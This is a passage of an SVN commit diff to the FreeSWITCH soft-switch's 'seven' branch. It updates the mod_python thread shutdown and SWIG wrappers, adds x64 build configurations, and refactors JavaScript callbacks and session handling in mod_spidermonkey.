 	SWITCH_ADD_API(api_interface, "pyrun", "run a python script", launch_python, "python </path/to/script>");
@@ -429,8 +435,55 @@
 {
 	PyInterpreterState *mainInterpreterState;
 	PyThreadState *myThreadState;
+	int thread_cnt = 0;
+	struct switch_py_thread *pt = NULL;
+	struct switch_py_thread *nextpt;
+	int i;
 
+	/* Kill all remaining threads */
+	pt = thread_pool_head;
 	PyEval_AcquireLock();
+	while (pt) {
+		thread_cnt ++;
+		nextpt = pt->next;
+		
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, 
+						  "Forcibly terminating script [%s]\n", pt->args);
+
+		/* Kill python script */
+		PyThreadState_Swap(pt->tstate);
+		PyThreadState_SetAsyncExc(pt->tstate->thread_id, PyExc_SystemExit);
+
+		pt = nextpt;
+	}
+	PyThreadState_Swap(mainThreadState);
+	PyEval_ReleaseLock();
+	switch_yield(1000000);
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, 
+					  "Had to kill %d threads\n", thread_cnt);
+
+	/* Give threads a few seconds to terminate. 
+	   Not using switch_thread_join() since if threads refuse to die
+	   then freeswitch will hang */
+	for (i=0; i < 10 && thread_pool_head; i++) {
+		switch_yield(1000000);
+	}
+	if (thread_pool_head) {
+		/* Not all threads died in time */
+		pt = thread_pool_head;
+		while (pt) {
+			nextpt = pt->next;
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, 
+						  "Script [%s] didn't exit in time\n", pt->args);
+			pt = nextpt;
+		}
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, 
+						  "Forcing python shutdown. This might cause freeswitch to crash!\n");
+	}
+
+
+	PyEval_AcquireLock();
 	mainInterpreterState = mainThreadState->interp;
 	myThreadState = PyThreadState_New(mainInterpreterState);
 	PyThreadState_Swap(myThreadState);
@@ -438,7 +491,7 @@
 
 	Py_Finalize();
 	PyEval_ReleaseLock();
-	switch_event_unbind(&globals.node);
+
 	return SWITCH_STATUS_UNLOAD;
 
 }

Modified: freeswitch/branches/seven/src/mod/languages/mod_python/mod_python.i (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_python/mod_python.i	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_python/mod_python.i	2009-08-09 18:53:22 UTC (rev 14472)
@@ -9,6 +9,7 @@
 %cstring_bounded_mutable(char *dtmf_buf, 128);
 %cstring_bounded_mutable(char *terminator, 8);
 
+%newobject EventConsumer::pop;
 
 /** insert the following includes into generated code so it compiles */
 %{

Modified: freeswitch/branches/seven/src/mod/languages/mod_python/mod_python_wrap.cpp (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_python/mod_python_wrap.cpp	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_python/mod_python_wrap.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -3079,12 +3079,14 @@
   char *arg6 = (char *) 0 ;
   char *arg7 = (char *) 0 ;
   char *arg8 = (char *) 0 ;
-  int arg9 ;
-  int arg10 ;
+  char *arg9 = (char *) 0 ;
+  char *arg10 = (char *) 0 ;
   int arg11 ;
   int arg12 ;
   int arg13 ;
   int arg14 ;
+  int arg15 ;
+  int arg16 ;
   IVRMenu *result = 0 ;
   void *argp1 = 0 ;
   int res1 = 0 ;
@@ -3109,10 +3111,12 @@
   int res8 ;
   char *buf8 = 0 ;
   int alloc8 = 0 ;
-  int val9 ;
-  int ecode9 = 0 ;
-  int val10 ;
-  int ecode10 = 0 ;
+  int res9 ;
+  char *buf9 = 0 ;
+  int alloc9 = 0 ;
+  int res10 ;
+  char *buf10 = 0 ;
+  int alloc10 = 0 ;
   int val11 ;
   int ecode11 = 0 ;
   int val12 ;
@@ -3121,6 +3125,10 @@
   int ecode13 = 0 ;
   int val14 ;
   int ecode14 = 0 ;
+  int val15 ;
+  int ecode15 = 0 ;
+  int val16 ;
+  int ecode16 = 0 ;
   PyObject * obj0 = 0 ;
   PyObject * obj1 = 0 ;
   PyObject * obj2 = 0 ;
@@ -3135,8 +3143,10 @@
   PyObject * obj11 = 0 ;
   PyObject * obj12 = 0 ;
   PyObject * obj13 = 0 ;
+  PyObject * obj14 = 0 ;
+  PyObject * obj15 = 0 ;
   
-  if (!PyArg_ParseTuple(args,(char *)"OOOOOOOOOOOOOO:new_IVRMenu",&obj0,&obj1,&obj2,&obj3,&obj4,&obj5,&obj6,&obj7,&obj8,&obj9,&obj10,&obj11,&obj12,&obj13)) SWIG_fail;
+  if (!PyArg_ParseTuple(args,(char *)"OOOOOOOOOOOOOOOO:new_IVRMenu",&obj0,&obj1,&obj2,&obj3,&obj4,&obj5,&obj6,&obj7,&obj8,&obj9,&obj10,&obj11,&obj12,&obj13,&obj14,&obj15)) SWIG_fail;
   res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_IVRMenu, 0 |  0 );
   if (!SWIG_IsOK(res1)) {
     SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "new_IVRMenu" "', argument " "1"" of type '" "IVRMenu *""'"); 
@@ -3177,16 +3187,16 @@
     SWIG_exception_fail(SWIG_ArgError(res8), "in method '" "new_IVRMenu" "', argument " "8"" of type '" "char const *""'");
   }
   arg8 = reinterpret_cast< char * >(buf8);
-  ecode9 = SWIG_AsVal_int(obj8, &val9);
-  if (!SWIG_IsOK(ecode9)) {
-    SWIG_exception_fail(SWIG_ArgError(ecode9), "in method '" "new_IVRMenu" "', argument " "9"" of type '" "int""'");
-  } 
-  arg9 = static_cast< int >(val9);
-  ecode10 = SWIG_AsVal_int(obj9, &val10);
-  if (!SWIG_IsOK(ecode10)) {
-    SWIG_exception_fail(SWIG_ArgError(ecode10), "in method '" "new_IVRMenu" "', argument " "10"" of type '" "int""'");
-  } 
-  arg10 = static_cast< int >(val10);
+  res9 = SWIG_AsCharPtrAndSize(obj8, &buf9, NULL, &alloc9);
+  if (!SWIG_IsOK(res9)) {
+    SWIG_exception_fail(SWIG_ArgError(res9), "in method '" "new_IVRMenu" "', argument " "9"" of type '" "char const *""'");
+  }
+  arg9 = reinterpret_cast< char * >(buf9);
+  res10 = SWIG_AsCharPtrAndSize(obj9, &buf10, NULL, &alloc10);
+  if (!SWIG_IsOK(res10)) {
+    SWIG_exception_fail(SWIG_ArgError(res10), "in method '" "new_IVRMenu" "', argument " "10"" of type '" "char const *""'");
+  }
+  arg10 = reinterpret_cast< char * >(buf10);
   ecode11 = SWIG_AsVal_int(obj10, &val11);
   if (!SWIG_IsOK(ecode11)) {
     SWIG_exception_fail(SWIG_ArgError(ecode11), "in method '" "new_IVRMenu" "', argument " "11"" of type '" "int""'");
@@ -3207,7 +3217,17 @@
     SWIG_exception_fail(SWIG_ArgError(ecode14), "in method '" "new_IVRMenu" "', argument " "14"" of type '" "int""'");
   } 
   arg14 = static_cast< int >(val14);
-  result = (IVRMenu *)new IVRMenu(arg1,(char const *)arg2,(char const *)arg3,(char const *)arg4,(char const *)arg5,(char const *)arg6,(char const *)arg7,(char const *)arg8,arg9,arg10,arg11,arg12,arg13,arg14);
+  ecode15 = SWIG_AsVal_int(obj14, &val15);
+  if (!SWIG_IsOK(ecode15)) {
+    SWIG_exception_fail(SWIG_ArgError(ecode15), "in method '" "new_IVRMenu" "', argument " "15"" of type '" "int""'");
+  } 
+  arg15 = static_cast< int >(val15);
+  ecode16 = SWIG_AsVal_int(obj15, &val16);
+  if (!SWIG_IsOK(ecode16)) {
+    SWIG_exception_fail(SWIG_ArgError(ecode16), "in method '" "new_IVRMenu" "', argument " "16"" of type '" "int""'");
+  } 
+  arg16 = static_cast< int >(val16);
+  result = (IVRMenu *)new IVRMenu(arg1,(char const *)arg2,(char const *)arg3,(char const *)arg4,(char const *)arg5,(char const *)arg6,(char const *)arg7,(char const *)arg8,(char const *)arg9,(char const *)arg10,arg11,arg12,arg13,arg14,arg15,arg16);
   resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_IVRMenu, SWIG_POINTER_NEW |  0 );
   if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
   if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
@@ -3216,6 +3236,8 @@
   if (alloc6 == SWIG_NEWOBJ) delete[] buf6;
   if (alloc7 == SWIG_NEWOBJ) delete[] buf7;
   if (alloc8 == SWIG_NEWOBJ) delete[] buf8;
+  if (alloc9 == SWIG_NEWOBJ) delete[] buf9;
+  if (alloc10 == SWIG_NEWOBJ) delete[] buf10;
   return resultobj;
 fail:
   if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
@@ -3225,6 +3247,8 @@
   if (alloc6 == SWIG_NEWOBJ) delete[] buf6;
   if (alloc7 == SWIG_NEWOBJ) delete[] buf7;
   if (alloc8 == SWIG_NEWOBJ) delete[] buf8;
+  if (alloc9 == SWIG_NEWOBJ) delete[] buf9;
+  if (alloc10 == SWIG_NEWOBJ) delete[] buf10;
   return NULL;
 }
 
@@ -3472,6 +3496,28 @@
 }
 
 
+SWIGINTERN PyObject *_wrap_API_getTime(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  API *arg1 = (API *) 0 ;
+  char *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  PyObject * obj0 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"O:API_getTime",&obj0)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_API, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "API_getTime" "', argument " "1"" of type '" "API *""'"); 
+  }
+  arg1 = reinterpret_cast< API * >(argp1);
+  result = (char *)(arg1)->getTime();
+  resultobj = SWIG_FromCharPtr((const char *)result);
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
 SWIGINTERN PyObject *API_swigregister(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
   PyObject *obj;
   if (!PyArg_ParseTuple(args,(char*)"O:swigregister", &obj)) return NULL;
@@ -5424,7 +5470,7 @@
   } 
   arg2 = static_cast< int >(val2);
   result = (Event *)(arg1)->pop(arg2);
-  resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_Event, 0 |  0 );
+  resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_Event, SWIG_POINTER_OWN |  0 );
   return resultobj;
 fail:
   return NULL;
@@ -5446,7 +5492,7 @@
   }
   arg1 = reinterpret_cast< EventConsumer * >(argp1);
   result = (Event *)(arg1)->pop();
-  resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_Event, 0 |  0 );
+  resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_Event, SWIG_POINTER_OWN |  0 );
   return resultobj;
 fail:
   return NULL;
@@ -8609,15 +8655,15 @@
   arg1 = reinterpret_cast< CoreSession * >(argp1);
   res2 = SWIG_AsCharPtrAndSize(obj1, &buf2, NULL, &alloc2);
   if (!SWIG_IsOK(res2)) {
-    SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "CoreSession_execute" "', argument " "2"" of type '" "char *""'");
+    SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "CoreSession_execute" "', argument " "2"" of type '" "char const *""'");
   }
   arg2 = reinterpret_cast< char * >(buf2);
   res3 = SWIG_AsCharPtrAndSize(obj2, &buf3, NULL, &alloc3);
   if (!SWIG_IsOK(res3)) {
-    SWIG_exception_fail(SWIG_ArgError(res3), "in method '" "CoreSession_execute" "', argument " "3"" of type '" "char *""'");
+    SWIG_exception_fail(SWIG_ArgError(res3), "in method '" "CoreSession_execute" "', argument " "3"" of type '" "char const *""'");
   }
   arg3 = reinterpret_cast< char * >(buf3);
-  (arg1)->execute(arg2,arg3);
+  (arg1)->execute((char const *)arg2,(char const *)arg3);
   resultobj = SWIG_Py_Void();
   if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
   if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
@@ -8649,10 +8695,10 @@
   arg1 = reinterpret_cast< CoreSession * >(argp1);
   res2 = SWIG_AsCharPtrAndSize(obj1, &buf2, NULL, &alloc2);
   if (!SWIG_IsOK(res2)) {
-    SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "CoreSession_execute" "', argument " "2"" of type '" "char *""'");
+    SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "CoreSession_execute" "', argument " "2"" of type '" "char const *""'");
   }
   arg2 = reinterpret_cast< char * >(buf2);
-  (arg1)->execute(arg2);
+  (arg1)->execute((char const *)arg2);
   resultobj = SWIG_Py_Void();
   if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
   return resultobj;
@@ -8706,8 +8752,8 @@
 fail:
   SWIG_SetErrorMsg(PyExc_NotImplementedError,"Wrong number of arguments for overloaded function 'CoreSession_execute'.\n"
     "  Possible C/C++ prototypes are:\n"
-    "    execute(CoreSession *,char *,char *)\n"
-    "    execute(CoreSession *,char *)\n");
+    "    execute(CoreSession *,char const *,char const *)\n"
+    "    execute(CoreSession *,char const *)\n");
   return NULL;
 }
 
@@ -9396,6 +9442,27 @@
 }
 
 
+SWIGINTERN PyObject *_wrap_Session_destroy(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  PYTHON::Session *arg1 = (PYTHON::Session *) 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  PyObject * obj0 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"O:Session_destroy",&obj0)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_PYTHON__Session, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "Session_destroy" "', argument " "1"" of type '" "PYTHON::Session *""'"); 
+  }
+  arg1 = reinterpret_cast< PYTHON::Session * >(argp1);
+  (arg1)->destroy();
+  resultobj = SWIG_Py_Void();
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
 SWIGINTERN PyObject *_wrap_Session_run_dtmf_callback(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
   PyObject *resultobj = 0;
   PYTHON::Session *arg1 = (PYTHON::Session *) 0 ;
@@ -9936,6 +10003,7 @@
 	 { (char *)"delete_API", _wrap_delete_API, METH_VARARGS, NULL},
 	 { (char *)"API_execute", _wrap_API_execute, METH_VARARGS, NULL},
 	 { (char *)"API_executeString", _wrap_API_executeString, METH_VARARGS, NULL},
+	 { (char *)"API_getTime", _wrap_API_getTime, METH_VARARGS, NULL},
 	 { (char *)"API_swigregister", API_swigregister, METH_VARARGS, NULL},
 	 { (char *)"input_callback_state_t_function_set", _wrap_input_callback_state_t_function_set, METH_VARARGS, NULL},
 	 { (char *)"input_callback_state_t_function_get", _wrap_input_callback_state_t_function_get, METH_VARARGS, NULL},
@@ -10067,6 +10135,7 @@
 	 { (char *)"Session_begin_allow_threads", _wrap_Session_begin_allow_threads, METH_VARARGS, NULL},
 	 { (char *)"Session_end_allow_threads", _wrap_Session_end_allow_threads, METH_VARARGS, NULL},
 	 { (char *)"Session_check_hangup_hook", _wrap_Session_check_hangup_hook, METH_VARARGS, NULL},
+	 { (char *)"Session_destroy", _wrap_Session_destroy, METH_VARARGS, NULL},
 	 { (char *)"Session_run_dtmf_callback", _wrap_Session_run_dtmf_callback, METH_VARARGS, NULL},
 	 { (char *)"Session_setInputCallback", _wrap_Session_setInputCallback, METH_VARARGS, NULL},
 	 { (char *)"Session_unsetInputCallback", _wrap_Session_unsetInputCallback, METH_VARARGS, NULL},

Property changes: freeswitch/branches/seven/src/mod/languages/mod_spidermonkey


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/languages/mod_spidermonkey/mod_spidermonkey.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_spidermonkey/mod_spidermonkey.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_spidermonkey/mod_spidermonkey.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -82,6 +85,74 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops;..\..\..\..\w32\spidermonkey.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=""
+				PreprocessorDefinitions="SM_EXPORTS;JS_HAS_FILE_OBJECT=1"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories=""
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops;..\..\..\..\w32\spidermonkey.vsprops"
@@ -145,6 +216,73 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops;..\..\..\..\w32\spidermonkey.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=""
+				PreprocessorDefinitions="SM_EXPORTS;JS_HAS_FILE_OBJECT=1"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				AdditionalLibraryDirectories=""
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/languages/mod_spidermonkey/mod_spidermonkey.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/languages/mod_spidermonkey/mod_spidermonkey.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/languages/mod_spidermonkey/mod_spidermonkey.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_spidermonkey.c -- Javascript Module
@@ -95,7 +95,6 @@
 	FILE *gOutFile;
 	int stackDummy;
 	JSRuntime *rt;
-	switch_event_node_t *node;
 } globals;
 
 static JSClass global_class = {
@@ -403,7 +402,7 @@
 	if (argc > 0) {
 		uint32_t len;
 		subst_string = JS_GetStringBytes(JS_ValueToString(cx, argv[0]));
-		len = (uint32_t) (strlen(pcre_obj->string) + strlen(subst_string) + 10);
+		len = (uint32_t) (strlen(pcre_obj->string) + strlen(subst_string) + 10) * pcre_obj->proceed;
 		substituted = malloc(len);
 		switch_assert(substituted != NULL);
 		switch_perform_substitution(pcre_obj->re, pcre_obj->proceed, subst_string, pcre_obj->string, substituted, len, pcre_obj->ovector);
@@ -1082,8 +1081,6 @@
 			JS_SetPrivate(cx, DTMF, ddtmf);
 			JS_DefineProperties(cx, DTMF, dtmf_props);
 			JS_DefineFunctions(cx, DTMF, dtmf_methods);
-		} else {
-			abort();
 		}
 	}
 	return DTMF;
@@ -1102,11 +1099,35 @@
 	jsval ret, nval, *rval = &nval;
 	JSContext *cx = cb_state->cx;
 	JSObject *obj = cb_state->obj;
+	switch_uuid_t uuid;
+	char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
+	char var_name[SWITCH_UUID_FORMATTED_LENGTH + 25];
+	char *p;
+	switch_status_t status = SWITCH_STATUS_FALSE;
 	
+	if (!jss || !jss->session) {
+		return SWITCH_STATUS_FALSE;
+	}
+
+	if (++jss->stack_depth > MAX_STACK_DEPTH) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Maximum recursive callback limit %d reached.\n", MAX_STACK_DEPTH);
+		jss->stack_depth--;
+		return SWITCH_STATUS_FALSE;
+	}
+
+	switch_uuid_get(&uuid);
+	switch_uuid_format(uuid_str, &uuid);
+	
+	switch_snprintf(var_name, sizeof(var_name), "__event_%s", uuid_str);
+	for(p = var_name; p && *p; p++) {
+		if (*p == '-') {
+			*p = '_';
+		}
+	}	
+
+	JS_ResumeRequest(cb_state->cx, cb_state->saveDepth);
 	METHOD_SANITY_CHECK();
 
-	jss->stack_depth++;
-
 	if (cb_state->jss_a && cb_state->jss_a->session && cb_state->jss_a->session == session) {
 		argv[argc++] = OBJECT_TO_JSVAL(cb_state->session_obj_a);
 	} else if (cb_state->jss_b && cb_state->jss_b->session && cb_state->jss_b->session == session) {
@@ -1118,24 +1139,25 @@
 	switch (itype) {
 	case SWITCH_INPUT_TYPE_EVENT:
 		if ((event = (switch_event_t *) input)) {
-			if ((Event = new_js_event(event, "_XX_EVENT_XX_", cb_state->cx, cb_state->obj))) {
+			if ((Event = new_js_event(event, var_name, cb_state->cx, cb_state->obj))) {
 				argv[argc++] = STRING_TO_JSVAL(JS_NewStringCopyZ(cb_state->cx, "event"));
 				argv[argc++] = OBJECT_TO_JSVAL(Event);
 			}
 		}
 		if (!Event) {
-			jss->stack_depth--;
-			return SWITCH_STATUS_FALSE;
+			goto done;
 		}
 		break;
 	case SWITCH_INPUT_TYPE_DTMF:
 		{
 			switch_dtmf_t *dtmf = (switch_dtmf_t *) input;
-
+			
 			if (dtmf) {
-				if ((Event = new_js_dtmf(dtmf, "_XX_DTMF_XX_", cb_state->cx, cb_state->obj))) {
+				if ((Event = new_js_dtmf(dtmf, var_name, cb_state->cx, cb_state->obj))) {
 					argv[argc++] = STRING_TO_JSVAL(JS_NewStringCopyZ(cb_state->cx, "dtmf"));
 					argv[argc++] = OBJECT_TO_JSVAL(Event);
+				} else {
+					goto done;
 				}
 			}
 		}
@@ -1146,24 +1168,17 @@
 		argv[argc++] = cb_state->arg;
 	}
 
-	if (jss->stack_depth > MAX_STACK_DEPTH) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Maximum recursive callback limit %d reached.\n", MAX_STACK_DEPTH);
-		jss->stack_depth--;
-		return SWITCH_STATUS_FALSE;
-	}
-
-	JS_ResumeRequest(cb_state->cx, cb_state->saveDepth);
 	check_hangup_hook(jss, &ret);
-	cb_state->saveDepth = JS_SuspendRequest(cb_state->cx);
 
 	if (ret == JS_TRUE) {
-		JS_ResumeRequest(cb_state->cx, cb_state->saveDepth);
 		JS_CallFunction(cb_state->cx, cb_state->obj, cb_state->function, argc, argv, &cb_state->ret);
-		cb_state->saveDepth = JS_SuspendRequest(cb_state->cx);
-		jss->stack_depth--;
 	}
 
-	return SWITCH_STATUS_SUCCESS;
+	status = SWITCH_STATUS_SUCCESS;
+done:
+	cb_state->saveDepth = JS_SuspendRequest(cb_state->cx);
+	jss->stack_depth--;
+	return status;
 }
 
 static switch_status_t js_stream_input_callback(switch_core_session_t *session, void *input, switch_input_type_t itype, void *buf, unsigned int buflen)
@@ -1174,13 +1189,16 @@
 	switch_file_handle_t *fh = cb_state->extra;
 	struct js_session *jss = cb_state->session_state;
 
+	if (!switch_test_flag(fh, SWITCH_FILE_OPEN)) {
+		return SWITCH_STATUS_FALSE;
+	}
+
 	if ((status = js_common_callback(session, input, itype, buf, buflen)) != SWITCH_STATUS_SUCCESS) {
 		return status;
 	}
 
-
 	if ((ret = JS_GetStringBytes(JS_ValueToString(cb_state->cx, cb_state->ret)))) {
-		if (!strncasecmp(ret, "speed", 4)) {
+		if (!strncasecmp(ret, "speed", 5)) {
 			char *p;
 
 			if ((p = strchr(ret, ':'))) {
@@ -1355,7 +1373,7 @@
 		return JS_TRUE;
 	}
 
-	while (switch_core_session_dequeue_event(jss->session, &event) == SWITCH_STATUS_SUCCESS) {
+	while (switch_core_session_dequeue_event(jss->session, &event, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
 		switch_event_destroy(&event);
 	}
 
@@ -2118,7 +2136,7 @@
 	channel = switch_core_session_get_channel(jss->session);
 	CHANNEL_MEDIA_SANITY_CHECK();
 
-	started = switch_timestamp_now();
+	started = switch_micro_time_now();
 
 	if (argc > 0) {
 		JS_ValueToInt32(cx, argv[0], &timeout);
@@ -2132,8 +2150,8 @@
 	}
 	saveDepth = JS_SuspendRequest(cx);
 	for (;;) {
-		if (((elapsed = (unsigned int) ((switch_timestamp_now() - started) / 1000)) > (switch_time_t) timeout)
-			|| switch_channel_get_state(channel) >= CS_HANGUP) {
+		if (((elapsed = (unsigned int) ((switch_micro_time_now() - started) / 1000)) > (switch_time_t) timeout)
+			|| switch_channel_down(channel)) {
 			*rval = BOOLEAN_TO_JSVAL(JS_FALSE);
 			break;
 		}
@@ -2165,7 +2183,7 @@
 	METHOD_SANITY_CHECK();
 	channel = switch_core_session_get_channel(jss->session);
 
-	started = switch_timestamp_now();
+	started = switch_micro_time_now();
 
 	if (argc > 0) {
 		JS_ValueToInt32(cx, argv[0], &timeout);
@@ -2180,8 +2198,8 @@
 
 	saveDepth = JS_SuspendRequest(cx);
 	for (;;) {
-		if (((elapsed = (unsigned int) ((switch_timestamp_now() - started) / 1000)) > (switch_time_t) timeout)
-			|| switch_channel_get_state(channel) >= CS_HANGUP) {
+		if (((elapsed = (unsigned int) ((switch_micro_time_now() - started) / 1000)) > (switch_time_t) timeout)
+			|| switch_channel_down(channel)) {
 			*rval = BOOLEAN_TO_JSVAL(JS_FALSE);
 			break;
 		}
@@ -2198,6 +2216,43 @@
 	return ret;
 }
 
+static JSBool session_detach(JSContext * cx, JSObject * obj, uintN argc, jsval * argv, jsval * rval)
+{
+	struct js_session *jss = JS_GetPrivate(cx, obj);
+	jsval ret = JS_TRUE;
+	switch_call_cause_t cause = 0;
+	switch_channel_t *channel;
+	switch_core_session_t *session;
+	METHOD_SANITY_CHECK();
+
+	if ((session = jss->session)) {
+		jss->session = NULL;
+
+		if (argc > 1) {
+			if (JSVAL_IS_INT(argv[0])) {
+				int32 i = 0;
+				JS_ValueToInt32(cx, argv[0], &i);
+				cause = i;
+			} else {
+				const char *cause_name = JS_GetStringBytes(JS_ValueToString(cx, argv[0]));
+				cause = switch_channel_str2cause(cause_name);
+			}
+		}
+		
+		if (cause) {
+			channel = switch_core_session_get_channel(session);
+			switch_channel_hangup(channel, cause);
+		}
+
+		switch_core_session_rwunlock(session);
+		*rval = JS_TRUE;
+	} else {
+		*rval = JS_FALSE;
+	}
+
+	return ret;
+}
+
